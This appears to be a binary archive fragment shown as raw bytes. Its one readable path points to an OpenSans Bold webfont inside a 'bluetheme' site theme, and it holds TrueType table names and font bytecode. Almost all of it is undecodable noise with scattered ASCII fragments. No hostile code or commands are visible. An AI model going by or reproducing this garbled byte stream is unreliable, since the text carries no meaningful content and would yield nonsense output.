_ӗ�x�����՝��i����f�ܕ����C�?\�s��8�A�����o<.J�y���`�kNHV�Í�>��[}�J�Pϥ�A��$22��K�6�"\r��o)���ޯ��r�3?��9�lp�|_sZ6>���������W�ʣ����Q���z��h���O�ע�iX�p'sa|)0����ep(eJt�iT\��gvD�T{.Mn:vVOct�6��UwU���X�{��cD�^���`�q��6��0jX�A��G����;�p���c�к�'7Q��_V�hzG\㱓��i�:�8�0RJH�:,.��r,[��&I:G�q	�2��E�M�ǎM�3�r��ݪ�i�d�Q����nU��X
��������>��$�y�:����qj?�S�Qjq2,�);n�S��x���c] �/�6jN���ǟ�����<v����&iq����C�t
����,�{vnWܭ�݀1��y�P
c(���)q�l�uW���DtF�m։�`D`V2#${��<�;��/^���7�-0A�Wm���2�&�l0��R$����M

3�����]�B؀�z-{�J[���=�nM}E�G�%�.�sګ��sō����H�e�pnđ��*�N��s^"���$�)��9�vt,���"�LG�JF���eF�bs���+���I���O�ps)�I.���(���x����k�QQ���D�eH��C5��IƼS	�
��Zu�����Ӹ�=-�2����=�}0gL}�^��_d�S���r^�УaÊ֋��Y���uO}�2lO���������:_��kasI�{�1�ߖ�Y|��Z�6�{�_öמ���Lt}>g.`��L2�縰�����g%b�Ԏ~F�a��=�G(|���"f
|W�2�@$�֨�>)*.�xP<$��sV����^�EE��O��?7\S�7��A�����ͥߕ�yP��fv;^�XC;��4cI��1�,N]��g���9�K�j�ʯ�SB���.�5
g>�����@G��g��B�G�v�%�����M`�����L�Ƴ;�M嚧ަ#_�`�y�=%Us:�7[i����jC��\��.�k����Ru���h��:y�%���MЧ�8x<�"�q�la�zw�p��a�G����`�p�hT��U�]�_ �	���pG���4
Ʌ��2�H
F<���<9&���3P<����b���]sy
�@\P�We[-��J�J�GS�0=��Glo��8&�Z�<��,\GIgK���$\�ka3:ѧ��)����^�քx�.V!��44�<`�S)�y�w�Խ�h�Jo�����o6r��[�co�S:�*R?p��>@]O-i��K?��}���Zf�C{/v�q��И^�Yog��x�����QqϦ���^������﷪��O�7���X�0�0�%�rN�����g/.�"7��q�>��?s�����]o���jz�(�ۣ�i�֏�\Jb��<�x�%�5-ݟ�Ȁ߶�L*�	2 ;G;�")3��1����B�ԅ��p�Ƃ�Ɣ 2i8��G�<�w�K+���}�[��e�����Sq�[�Y�H�;��С��N�g�
�~��SLƧ	�8�k��=VL@CcI�cJ5ewg�"Yp98-�iw����Z��ll!���,_E�d7\�w1�p�弰��y�#|*�p۱t���DJCy����Hgp��2l0�.���.��l-WD�C3Υl�����Xu�t�6vmǩ�݆�*��5����9�e���SҊr�+�<0����U�L].��,��Z�ڸA�t:fnܠ�,����P�kh8%�/��[��{wj?�O�.�rܑB��ol�6}�V"���o�;Irȗ����פb�LOi�Iv�{J�� `꣙v����;dd����ޱ�}9�|��x`��˛�2A�3u|C����
�����a�,�@�I�E9��dH�JȰ.����
�ҹ��8"Ř-$�4���G�'�����-����^)xtT���l��-),����'����Ǽ�7[�����u�9��C]u�>�?A��{��Y�UM�gH`�K")���ӓ���f+���E!�f+ڌ.+.�J(c-���N���-"G]>'����׌N_|~�N��wK�ڮ�)�j(sؕ�L�����Yx�$�A�#
��w��!+g���We��B��`�7�����C�vWթ�mq�Sw��q��&�K/�)"�n�
`�:CJ�����ӸЏX%ˎ�_|	7���E=ԇ�(r�#*���LqF
&k*���Emv�/8�&+���Ao�Ue>D�e>��>C���"�����+f/7qʘsv�`�������fA���W{�a��%��*�,3���^Ю�����u�{t���O�_��%��览�������B��+,����1I��X��Q1��=�Y��
�Ǹ K�
1OE���l�x0�?�Z�����3�;��T����ŝ��jwy��="2�|^T")íN1���&��#G�g�c߮��kg�%g~�����?�����Lh0��ϸ%$�P	��#���������iO4��SfO#���ߥ/Č�`2Ut�>@����	j�#x"�o,G�+xG��Hpφb;n�0Sm�<5"�4b�	�V�`�P�r\PL6t0�J�6�vD�y�(YM���� �73;��״e���'{�e	���{�wb�����D�a��������Ĭ�����F�w�X�kШ��/�=qʸ_O����1���/}ox��[�_9z�켱��~����`���JڮY��CϚWe�����&S۷��8c�a�N�|���>���dO���#�(���K�<q�m���Vc�3I&� �n�Vٲ����
� ~�۾g�e��PX{e�m,�yQ?tb*Ʌ>��>T��ws��X;���-�^��U�){�V��0f���Y�d,ȝ� �����K�!�vY��@A�0S�a�]+`�c�ўF
["�N� c%WVR�����X��/)�`OX�E�����'���?>�n:<om�;�`�f��;[ճ[�|}��ǻL:c����k���p�tT}��1u�G��У[կ��-o�;o�g����ה����Y�kC�_\�n���q��w�o*���졘G���<�\|���vLfN,�K�
�-͸Zm��3�x0�c�t�L���Xpg�AKqHD���~���(��Z3�,���0l�k�K�o7������?�a�Ċ�'���ڽ��8����S��艕UI��ˠ��˗�y)�]�L�vMLh楛g�1ueO�#�F�����z����I����.V�듒W�RxA4��4�qkT�k���_�y!�"��A�c��t�t�<G��ط`���%��Rv-��"�͵
�ܶ�44�
M�M�[5>[��MJQ3`l�Sn��&FgI��k������U"*i-Y���t4�Ҿ�~v|�����㿜
����?����{���w�E�@�
�G�8��/)�93�H\�L�޲�͛�b;�7���z�ib^^�i
���ٚ��	�A��j�ac���D��,�-�W�-hY��h���ڥC�yqBU�	�ﮚ -\z���e��nH�	�UM�u���9�p�X
)�J`9��B�T�tL~m&tKXT�`��v-�5��Z�j����&�$b��;L���g��Q���q#�,�o&�	�v�v2;է�,���P%�u'H:Rw���8�H(��(��y��>S,����B���n*Iۅ��$�T^u�*+�J�vI�~C�,j�vO�m�ac�tY;b���vЙ~�j�W���Qآu�ym����uڃÞ}�8A(g}�����v��7|6kʱ	�m.'Y�]NC�����BX��h�_l8��,b�o�Z"#������h�f�㵕8�6��ȟ��#CǬ��5���5�#�<�ƣOO�л�ض���u��:cq�Nc;�:m��Y�st��	�7�3�y�#ה�։����̸�K��rd�rm�܂�ƨǩ���Kgҧvu~�5�Qp�f�ԏd���~�����"X�aL>���		�0K��Đ³ϲ)�7y	�K�w0.�sp�<V”�J��5O�fp�Mp(Fwy�b��݁,1����C��<���i�V�5�2���
W����}sa��|�+������θ�0z@q��H�\�q`ژ�woR�8�v��ӻav�$�z)��+pZ�&<�ara岝�sL\}��1�6nD��"�rZ���j�ه�Dl�S��u��g*���G��J�o�㮮�N\��y����aq��@�F��Eu\Nv�N$bdy$�_���L��OK�8��&3K���\D �x��hYؠ�i�P�eݺ�^]ң��g;�Q��F6
���L�n�#�l߬*a�oI��`�9�mc��������;������1��a���Y*nbC#E�X	Q�9�XV�5�2�惴��}�q4��ϗ������ާ�-�p��0�0��Co��4X�B��ڸE�ܺ��x^m+
W��)CDZ�J넞�/�1��y��&?�Ā
>�����w��{�ش�O<vt���V������I�xJ<�qO�\Z�_�4}u�3u-��/�Ψ3?��tdO�O��g���T˽�.k	�����k��y�	H�?��
��:��h�g��{�â�]��C�x]��"�1ذۮ'5��SkU
:��<H"�k
��<|!\}���/:��9X�<���a���a��A�����;�՚�9e�ցi�ܰ$B�|�s�*@y�m��N�2�<���o�=�>��ɽ
����{�>��>�y���+G�k{W�9Gk:�ܿz[�{{�i�}pY�2�m��㺔�	i�&0�t�&is���Okߞ�>�K�/Nj?J�&�Oz$ڏ�������D�$R�h�m0h�zr,s*[G�vC�O�EVp�)�bpV�8KJb6�k~a�&����+V"�K�c�q+K~�&Jĝ�V"�+�va�#���⁤jq�3j\���&���Tͣ���
R��$t�t?VB~\-=�7Mq�]��q�{!��#B���xFۦ/~DZ�[�,2���GIeR{E�})���������K��g�]�}bR�ћ����}�ͻi?�ץڞ���*�����>�bw�����B����5=Y!�u:^��8��嵌s���fۀe>�"‹�,"�J�&_4�惷�xw��j�e��c+m�$�Ҷ,hF3ib�dmi�s˒v.P�-\߼`�.V�ӎ��ԡ|#��㜿�n�ͅV|.P���j6=K8�ɴ۶��v�Gɉ������LR{E�}9|�d
͕����ྎ&�3Q���5�i[Z�@=B�����аd��������<Z��ͣe��,��ܦ��%�!9������XkHTA6ŘV<�G�@���V8���{�F
�t��mΈ��s�N�A�.w�bӘCfC�R�Bq��|o�d;\ne� .-ӥh���X.���g/^<�UΟ�$Mx�O͊�<1��˿z����׬dr��	[���[�V�=��إ�>uk��}��!e@SV�x�V�YoF�߶�1�]�Q�+��"�>�Ȭ��/�Ϸ��86�p�e�k�\[1�4��beN��t=�TD��M}<�ːT�/L���&=��A�Փ�;�@0�])��Q__P��S:O)�=w�n�O�I�I=E�����ш�`>��]�LRNvj����,���V!\آ�!�i��ӡ|��k,�hw+��r'�֠µ$�Ӈ[�$��Ў��NSFnA�����1�ZI� ����a��m݋~N�S�*�[9"_63̔�COhõ�x
MѭI6eZ:�����j�֝�{��嵿�$:�C������c�M�ү�}�F�1����;����C��<A��6.y�����~��N'
�Ӳ�[Ǚ]�y�}��֝z�p�}d���V����<uav����o�5��G��u�&ڏ;��/&�'�L��D��o�ހv�JiiF���"�|��9(�Ea%���ƚ$�VZ�T���ms�J��6K��{��?w/�<)�s�;0�WT���wDMZ�>i��e�y��9mY�Cse��U��خ�1�hr�ڷn��v�j�+�CJ���M��Xؑ؝���L.y*h,�x��Con�|>=�q�3�c�G�4w�ػo}����8�O�p����G��g��B$��?v	��N;AG4x؆�ʪ���k_3g���]V#O��{G�NmO{p�zm��w���x����xэ��0�#��u./4�Λ�>�Uc�)��藤�>Lx��?�v�Nc�?��'��bvR���m���ꗉ�\g���Կ3���g����~���$�i+ٶ� &9 &9l7����c�KBp�3��f�˃B�TK���QK�3��-��y��q�X�oE�,��f�s���y�z�m>l��>׺�yy�zm瑳ߏ^�����a˫��M�J�n?=��¹��^�Q��uj�Mu�wO�6�ؤQO?��]���]_>�
�4�$�1Z��{��zܾ��O��C�y�q!���}�|�֐�R�����2Ik�U��K�"t願�50'���%XI {K���Kr[I�5�ֆ����y�]�Wav,������xww�v���E*���
�!
��6�,u3SK)i�!M4��78�	�!9��!y��(��BC"�Ky��n"<�6Da[�gv[A����4l��
������H��\�@�{�{~�^�b«�iվSF֌��U��n� ���zN��_|�b/�
�Cd��y�:�m����o?jOjg<���獱�W�\%�9ͬ�	f��K.��v��3��0�W�1�7	u�h�����~�'!�@��+ ^�����
v��1��U@x��
���N��	0����ө���3��y�}����ԳMr�gr�t!O��/�,	_~�ח֯�lЈy�Ճ�ԯ׀
#U��|���?ڋ�����ӣ'���Ucؤ�+A_FwN�I/%j���7{@	��*��Z����(q��F۳��EC?]�?YKx�,8�<q��֋�k�&=G����.V	iH�{�&ā�ѸwP���֫:LY@�0���jWL�}6��Lf�-3+��bD�xw=�%9���'e�ƍOV���=l�/[Cx� m��N_v�Ѹ�O��|��Lɖ��}�q�a�k칌D�ޙa�P����Č�Z}�R������39R58J��j+��4��P�u���h�Lwf��YK^���XmHaF�s0�M��r�yK�.�,�Q��9�kx�*�բE���fq� �rs���p�k�;ՏC�]M�uԜ�-�}��O�F
[�Θ��W����w��^���v���O{,��&�ջ�9��#��´���9偖m�f���&	�d��?IGKg���~>[ĵWI��B	'��
��bk�a0:���2�.}��E�3�/i:��ʙh�l��g�z�6ߓ흛�#��~���p�g�9���F,����&�)D�@{��I^���?�''MZ��4j�>T�N�g����'�{d|���V%p#J�I_HCt��\�J0qG�g.��1�X1ϴDs�0�;�aE��ȃ�a*�����Qg�$G@.��@~�h��c-z��>�i�oY�C�t��+,qJ_��@�@i{��f�em�׿I��Gč’�J}=�ͽe�2��C��q1�o|ǐ����A��?"_[�4h��`L��mW�6N�����U��Gz}/~ѓ����B�W�b{���E�{%V�̉ؽ|z�03�X�%c��~�i�A��O�:��7)�7)�l�IQ�+�u�x���Frx�dsX�le[�b�a��
�^I�������zP�6f�,cc�'�o	k�M%X��.y�a~"&F~>�p���o'Q�!Z8�g�q�A���`%Y�/�h�`OДH�
a~{��̹�����8Mh�9���ȯi��Y2&�ކ��ކ���0���0&~o#����7�[�yո�Wj�>�J�Lԅ�����4���V�xt�A%��+�f�^�ȟ�mrkr�P�F��R#ꪞ�fR-d�u���u��'�h��K��gԇ?���=Վ��PcH/
��A�4����;��}��*Q�������ōK�)<�S�#���+FS2�X}yC���W��������tWu|�L������~��y�#~�?geŷ8&oRl��/W�0g@9��%�8�O%�~�\�p%��e�sG���~�hwѶc���:ז	�
u+ey幅�>��a��gt'I֔4a�'�@���8Xl�	f!��s�̒�^�ڼa8cm��*������6�����!����Tj�I���p��@Y�I��,�
s�!=J�婖ey�W���R�qm&u�u�]�Wt���zp�9O/T������7_O%�ټ,��|��w�x��5�Ov��
��Ἆ�42O��dṖhJ�ď��M����*��{:��+��>Q��g	z��4w�Ӹ�KK�x��BR�Ψ���`w�pQ�:™���(����!d]M��bۮ�Ւ~��^ҕ-XаC��4|'xBt�܆�B�Lu��I}��(���/���.�1�%Wu��\{!���ƞB,ў��~/��
���;���H�q`�0A�w�Y2T��u����8��CK���F�h�	0����
�v�}6��0n�!g��*9;s�^��TR�8�]+r�
�w�V:��`W��o���`��D����=:Z�=:�Ut���7�,��)�X(�_���m�����NJ�Qo�N
��@a>�n���)�ܾ���_���
>���@aI����`�;�չY�_J�
6��3��[ذʶ�K��뇿�{�����m�ڱdq�� ���5��Y3���C��^���
�\u��m�6�B�⛇�'\��Ъw�6����o[��<�5��H�x��.B?��v`�P~�q��]��ңx���Y01+n��E���m#0I��.���[��k��Df7�v�U4�3�I�BDL`�7b1���Ww�O��-�?먽�x�c`d```���yf��x~��� p�m�m����.�bf&�(ta�x�c`d`�����}�?�,�RD��[�x�m�1hSA���{��A�I	EJ�2�Y$�I�."AB�(�P��"�C�PJ)-��H�P��NR��8)RJ����tH�� r���P���޽ﻻ����}4�G���aB?��?���4��e�Np��pW-�ǒA�ߞ��vS� ���3f��{H���g�(�G�!y�H����+�n�z[��Ұ%��@Z(�i�Q�"ߗ�G$�ߓ:��i#��}�d�qN�1gS2��U�����,ٗ�BCR�X�C�:/1L�MI^��Ҳ��nP�$��ڳQ��v��	G����#7w�ܛy��rt�����~����Sd�`AFlM���u��`Dr^W�mW�A��!���W&O]�>�佚�Ʋ:��b6�?k��t�{��C8סG�ߓO��'���6�&��2�,b�,�5<ӫ��
�1�^�>�0�����2<�u�y1L�=�n��
����0���p��>\����^�p�9
�4(�O���^F^��^���p���}#�8�.R����\�����")���o�H
�ƻ���&]���,�L_���U�s'�>�� � ��ڨ����x�c``0���Y�LU�z̻�o�������`��r���U�5�u
�?�<��n���q$q\�T������\�%�u�ۇ��O�^��|b|q|����W	p�	�T�$�G�Lh���0��""."%"[D��|�}&�#6G�C�G"KR@2F򈔅T�4�t���2�d}dwɹ�U�=�����Q�S�R������b��(�)?PaSY��L�M�����Z�:���z��
!��u��-�}��$�Ҵ��fi��ڥ��m������]��L���?.1%=+7� �k:�t���e�ҕ�u�ݣ{B����7�?�R�E��u�-�]��c�����������2�J����3�23R2�3�2�g��X�x�����I��>S6P���4���t��.�Gf,f&fif���]�O�b�j@��BĢ΢�b���#V�3���J<sxڅ��NAE�l(��̔�~�������$�.���_bg�g�~�wfg
�$d�v��}o.��&Q�(���V��ܤ�G�-�||�?����M]p͒�b�x�2�(��)+^5�u-�5|*�\1P�p�쭺�e�1��K��?����+g�c�s�uZ�TOՑ�
�L�)/��r±7���A�R}�|�]c�{�T����L�Vob�Y�3s�c�;+S�ft[x/n�8c�l�T��v��[�/�
P�x�m�GlSa��Ӵiӽw�{���4-;�	{�M�MF)aO��@H�@� �����F�3[
Wx��a��>X��
�4�"�⇙������xp�Hɤ�J�d�I��K�PHŔЌ洠%�hM�Ҏ�t�#��L��

n<�⥌r�Ӄ��7}�?�� @��` ���2��`$���2��L`"����2��̠Rlf=��^>���lcG9"1l�=��#v�e�ı�[|�9�/��!Np���d&��E��x�#���^�眢����5/yE-_��ff�K�g��@��,b1_X�2������2Y�*ְ�o���Ӝ�*o��;��qJ�$I��H��I�dH�dI6g9�E.q��\��8.9��&�$W�$��R �R$�R�օ5ͧ)+,��ҥ�(˛44MS�JC�R��e�ҫ,S�����\]w��5�HuUeC��2����mD#�ME@��[��J��G%��x����uc/��������}��ش#7Dzo	2"e7�i�D0l`Qp���]�u�0�6�Ϧຉ=�ar�t!�
P-� -���Z62��E���8K`��
"�t(PK!�[�x�w�w9bluetheme/assets/fonts/OpenSans/OpenSans-Bold-webfont.ttfnu&1i�FFTM_��QGDEF( OS/2�m��H`cmap�\l���cvt 
���&fpgm�/��egasp,glyf4fdhead�ƵBl�6hhea�l�$hmtx�M(l��loca��p��maxp�r� name$1@<r��post- �th�prep�0_wP�ɉo1�������{��3�3�f���@ [(1ASC  ����X �^� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�^����116���,&
���,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�+�+�+�/�ִ+��+�+�	+013!%!!�I�y����Jh�u����[�+�	/�+�/�ְ2�
+�
2�
+�+�+�/�+�+��	99��90174632#"&!#uZVS[\RT\Z3�TVXRO[Yx�/��B�L�+�3�+�2�+�+�/�ִ+��+�+�	+��9901!#!#�)�})������-��d�+�333�/�$3��$2�/�$3��	

$2�
+�@	+�222� /�ִ+��+�+�
+�@	+�+�+�/�+�
+�@	+��+�+�!+�6�>��K+
�>���+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!7#5!3333!!!###%37#-/�!M�M�N�N��/��M�N�L�J�/�������i��i���j��j���X��D &,��/�3��'2�
+�@	+�/�%3��2�
+�@	+�-/�ְ2�!�!�+�$222�+�'222��)+��.+�)�	99��9��	$,$9��90146753&'#5&''.%5654&'X�ˉ�^��åM�ω�W�`Cƥ-=D�
�DD����
R�@��Kn�X����Q+B6N��,9���_*:?����
#-��+�!+�'�+�+��!
+��+!
+���./�ִ+��+�+��+�$+�$�)+�+�/+��999��9�$�9�)�!999�'�$)$9��$901!2#"&73254#"3	!2#"&73254#"?Y�������-2``2-P+���Y�������-2``2-�������}��{����J��������}��{R���&1}�+�+�!�	+�/��2/�ֱ
��' ���/�'��,+��3+��9�,'�	!$$9��#999�!�9�/�$)$901467.5463267!!'#"$%327>54&#"Ry�KD�úߊ�G4>$~P-��s����A�e~e��:CV_V\H9CM���TV�]����w�Y��u����c��q���Vf=J,`}Xj0]>5=@����"�+�+�/�ִ+�+01!#�)����R��y�
�+�/�ִ%+�+0173#&R����������1	ή��2�7���=��d�
�+�/�ִ%+�+013#654=������������1�����:�����?V7!%'?'m))u!���㜉���hp��h���y9��w)X�9�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#X����}�d���z��?����%�/�	+�/�ֱ�+��9017!?A$4|��
���=�V�"�/����/�+�
+�+015!=���u���9.�	/�+�+�/�ִ
+�
+�
+0174632#"&uZVS[\RT\�TVXRO[YD�3!!����JJ��H�D�	+��+���/�ֱ��+�
�+��	99��9901!2!"326&#"J��������3]nl`akm^��o��������|s����

��yN�
%�+�+�/�ֱ
�+��9013!?y���M�?w�JN��M�NP�S�+��+���/�ֱ�
+�@	+�
+�@	+�+��9��999��901>32!!5>54&#"Nl��h��tG���}�o�d,aQU�W�\L)d�te�������s��n;XVNHN��B�&t�%+��+��%
+��%+�'/�ֱ"
� ���
+�@	+�(+�%�9��"99��99��9��9��901732654&+532654#"'6!2!"NU�d����oq���H�[�����������;+6hsgV�Yl�0;Ր����$����#q�
d�	+�+�	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�999��9��9015!3#!%!5467##������`
%4/���i��/�>�RNd��5�T�+��
+��

+���/�ֱ
�+��99��9��999��990173 54!"'!!7632!"dO�^��5�({7��#=Z�����;*5��B�������H��P�$o�+��+��"
+���%/�ֱ��+��&+��
999��999��99�"�99��9��901!2&#"3632#"&%32654&#"Hon}GYW��d	
c������3}`cjcd^�m���`������� \w��{k{z7P� �+�/���/�+��901!!7���%���H��J�".v�+��	+�,��//�ֱ� ��#��+��� ��)�)/��0+��9�)#�!	$9��9�,�!&$901467.54$32#"$%32654&'>54&#"H��}n��|��������xhsrq�2MebNdNOas}�JO�k�¿�p�EX�r����V`cQCuBb7<_2.`?EPQB��J�%m�
+��+�#�

+���&/�ֱ�� +��'+��
999� �9��999��
9��9�#�9901432!"'532>7##"&%32654&#"B�����CT\��j:�r��+bd^�}a`l������P�V�[ë^L��j|{Pw��u���s9�+�+�	/�+�/�ְ2�
+�2�
+�+0174632#"&4632#"&uZVS[\RT\ZVS[]QT\�TVXRO[Y�TVXRQYX?���s;�
+�+�/�ִ
+�2�
��/�+�
�
999017!4632#"&?A$4|�ZVS[]QT\��
����TVXRQYXX�95	X�T��������X�9�/��/���/�	+015!5!X��������X�975	5X��T���=������%v�+��#/�+�/�&/�ִ 
+�
 +�%+� �+��'+�
�#$9� �	99��9��999��901632!5467>54&#"4632#"&���d�`3��RmiC`V���ZVS[\RT\N}ƥn�dGJ<<J`�PK^:ADb�TVXRO[Yf�f��4?��+�%+�2/�,+�/�3�7+�2�=/�+�@/�ִ)+�)�+�5+�5�!+�+�A+�!5@	%,/2;$9�,2�09��/9�7�9�=�!)$9��9014$!2#"&'##"&543232654.#"!267! 326?&#"f���Z�\�oJrl����V�CL@L���֟'j�{�����Wa�Z^

3@}�Z����ِ�G:�չ�!�������������/-�[�}������
K�+�3�+�
+���/�ֱ
��+�
�+��	$9��9011!!!!&'{��j��j�}�%!��D\��`�|$���� g�+��+� �
+���!/�ֱ
�2��+�
� ��
�"+��	99��9��	99� �9013! #32654!#532654&+��7{f�{���ʀz����~q{�������
����be��NZTIw����E�+��+�
�+�/�ֱ
�+��9��
999�
�9014$32.#"!27# w�7���dR�P��o�۴������W�g�':���M��K��u�8�+�	�+���/�ֱ	
�	�+�
�+�	�9013! !3 !#��f��e�|h���`��������������G�+�	�+��
+���/�ֱ	
�2�	
+�@		+�2�@		+�
+013!!!!!�J��������������	@�+�+��
+���
/�ֱ	�2�	
+�@		+�@		+�+013!!!!�F����������w��'�y�+��+��
+���/�ֱ
��+��2�
+�@	+�+��999��9��9��99��9��901!2&#"327!!# w�g��g����úad��D��������b�Z�P����1�
.%��f�?�+�3�+�3�

+���/�ֱ
�2��+�2�
�
+013!!!!!�6C5������=�Jw�����!�+�+�/�ֱ
�
�+013!�6��J�h�R��
-�+�/���/�ֱ
�+��
9��9013265!#"'�PBfX6��iN��Z������P�0�+�3�+�3�
/�ֱ
�2�+��
99013!7!	!�6z�X��������c��y��h^���?�,�+��+�/�ֱ
�
+�@	+�+013!!�6Q��J������+�33�+�33�/�ֱ�+��+���%+�/�+�6����+
�.�������..�....�@��99��
9��9013!3!!46#!#��Zo���	����	���^�J�1���{��u�X���]�+�	3�+�3�/�ֱ��+���+�/�+��99��
99��9��99013!35!!#��{�v��	���v��JR��}�Pw����D�	+��+���/�ֱ
��+�
�+��	99��9901! ! 3 !"wiQQe��������E��s�����m��|�����z�k�������
B�+�+��	
+�	��/�ֱ

�2�
�+�
�+��9013! !#32654&+��
���f��w������qlmhw����^�
+��

+�@
	+�+���/�ֱ
��+�
�+��	$9��
9�
�	9��9901! !# 3 !"wiQQe��`�s������E��s�����m��|������Q�wH�k�����H�[�+�
3�+��

+�
��/�ֱ
�2��+�
�+��9��99�
�9��9013! !#32654&+��*��Jd�����d����^��݁�9��1��-bihX^���'q�&+��+��&+�(/�ֱ��+�#�2�)+��9�� &$9�#�!99�&�9��#$9��901732654.'.54$32.#"#"^��Ufm0]���P�r�qdu�JX^&S�͘���D B6NM+C>D?t�g��61�0&RB)=9Jbŏ��)y�:�+�+��2�/�ֱ
�
+�@	+�
+�@	+�	+01!!!)P�s������L����^�7�+��+�
3�/�ֱ
��	+�
�+�	�901!3265!# �5����5������������}�N��!3�=�+�+�3�/�ֱ
��+�	
�
+��
99��901!67!!91@9������M�(\�f�J���+�3�+�33�/�ֱ��+��+�6�>�_+
����
��������+
������
��>��@+��+���+��
+��+�>���+��+� � �#9�9�
 � �#9�9@
............@
............�@��99��901!>7!>7!!&'!1�1+�%�*
,�1�����50
�����ݢ9�B3��7�QN�H�J),6�3�V�&�+�3�+�3�/�
+��
99011	!	!	!	�:V;5N�5���������+�)����0�+�+�3�	/�ֱ
�
+��9��901!	!!P/1N������Z����/1q�	.�+��+���
/�+��9��90135!!!1��V�D��������s�:�+��/���/�ִ
	+�2�+�
	+�2�	+01!#3��������B�!!!����J3���C�+��/���/�ְ2�
	+��+�/��
	+�/�	+013#5!!3���qT�=�3#	��������J��}����N�H�/�+�+�/�+01!!R����L��!(�/�+�	/�ִ
+�
+��9015!#.LV?��?�e�,�V��;u"��+�+��+�� 
+�+�#/�ֱ
��+�2��$+��	
99��999��9��99� �9��9��	9��
90146?54#"'632#'##"&%326=V��®��e�����;M����9�jv��N��	1�Q�e���aK���ze\X����k�+�+��+��
+�@	+� /�ֱ�2��+�
�!+��999��99��9��9��9013!3632#"'#32654&#"�1k������p3Hkt^opaqh��E������Џ{3��������\���s=�+�
�+�	��/�ֱ
�+�
�9�	�999��901!2.#"3267# \	šZH|>��X�KJ�s��)-L�%����/2��/$\��qQ�+�+� /�ֱ
��+�
�
��/�3�!+��$9��
99�
�901323&5!#'##"326754&#"\���o
2�;
h���5rjumo}fq-3�}bf�쑥2����!���\��bsi�+��+��
+�+�/�ֱ
�2��+��+��999��99��9��9��90132!3267# !.#"\���/��e�bP�����<�raan'3���*.�('*�q{{)uZ�+�+��2�+�/���/�ְ2��2�
+�@	+�
+�@	+�+��	9��9015754632&#"!!!)��Ϟ{N\NA:����y�RR��/�M<F�y�ms)6@��4+� �'+�-+�+�?+�2�+�?+�:4
+�+�A/�ֱ7�2� ��*+�7�+�/�7�=+���$ ��0%+�0/�$%+�B+�*�9�7�	9�=� '-$9�0�!9��9�4-�$99� �9��99�:�	99�?�99901467.5467.54632!#/;2!"&%32654&+"32654#"~z/FJFXg��/���0��7-/���������ym��ns�TqoSUVP���e�[3@U)&�r���-K]��$,B���أ�?HZN?0OM[jj[���9�+�
3�/�ֱ�2��+�
�+��9��	99013!3632!4#"�1f���ϴ�r��%�Z���'������7�	+�
+�/�#+�
/�	ְ2��2�+�	�9901432#"!���SS�
1��GO�^���}��
I�+��+�/�#+�/�ְ2��2�+��99��
9��9013265!#"'432#"�FIMG1νuT��SS��VT��)��R��GO��7�+�
3�+�/�ֱ�2�+��99��99013!37!	!�1�9X�D������J��T����i�����+�/�ֱ��+013!�1���Bs#p�+�33�+�+�
3��2�$/�ֱ#�#�+���+��%+�#�9��9��
	99��
9��	
$901333>323>32!4&#"!4&#"��)-�n�Y-�n���QWpo��QWuj^�MW�NV��'�yy�����yy�����sL�+�3�+�+���/�ֱ��+��+��9��9��9901333>32!4&#"��)3�r���V^�r^�QS��'�yy���\���s
D�
+��+���/�ֱ
��+�
�+��
99��9901!2!"&%32654&#"\��������7m{zkl{zl10������̍�����������sg�
+��+�+��/� /�ֱ�2��+�	
�!+��999��
99�
�99��	9��990133632#"'#324&#"��+k���iƒ�pkt�elqh�J���������;��R����\�qs [�+�+�/�!/�ֱ
��+�	�	��/�"+��$9��999��$9013237!!47##"326754&#"\��j�<��

1�j��7kqtlo{�-4PT����=kQT1����%���ws8�+�+�+���/�ֱ�+��9��9901333>32&#"��-4�h>)%5��^�^s	��
����\���s%k�+��+�	��&/�ְ2���+��'+��#9��	"$9��999��9�	�$9��9014632.#"#"&'53254.'.\��ʿ\T�L�W��z:��z�KU�Q�,lZ�y7;��X�$.I)<;5\xS��! �(6`$-9&6\w/��7Lp�+��+��2�
+�@	+�+�/�ֱ	�2�	
+�@		+�2�	
+�@	+�+�	�9��9��9��9015?3!!327#"&5/�X�9��I<Ppr���y�f����A>#�3������^L�
+�+��+�
3�/�ֱ��	+��+�	�9��9�
�9901!3265!#'##"&�1V^�r1�)1�s����syy�����NU��^!�+�+�3�/�
+��901!367!!?�$	(�?�V��^��yl`�}���^��+�3�+�
$3�/�ֱ��+��+�6����+
�����������+
�
.�������=��G+
�����������+�
�
+�
+�
+�
 � �#9�9�
9�
........@

...........�@��9901!36?!3>7!!#!0� �P�
	.
�+����Vt��^���L�U��Va]H�,���
�^&�+�3�+�3�/�
+��
99013	!!	!
{��Z��Z��}����;#��d�������^-�
+��+�3�/�+�
�9��9901!367!#"'5326?N�
 �G�'A�OL7AQy"^��Rpg[u����
cd77�^	.�+��+���
/�+��9��90135!5!!7�B�
����Q�����n�	+�
�/��/��� /�ְ2�+�
2�
+�@	+�	2�
+�@	+�!+��9��99��99�
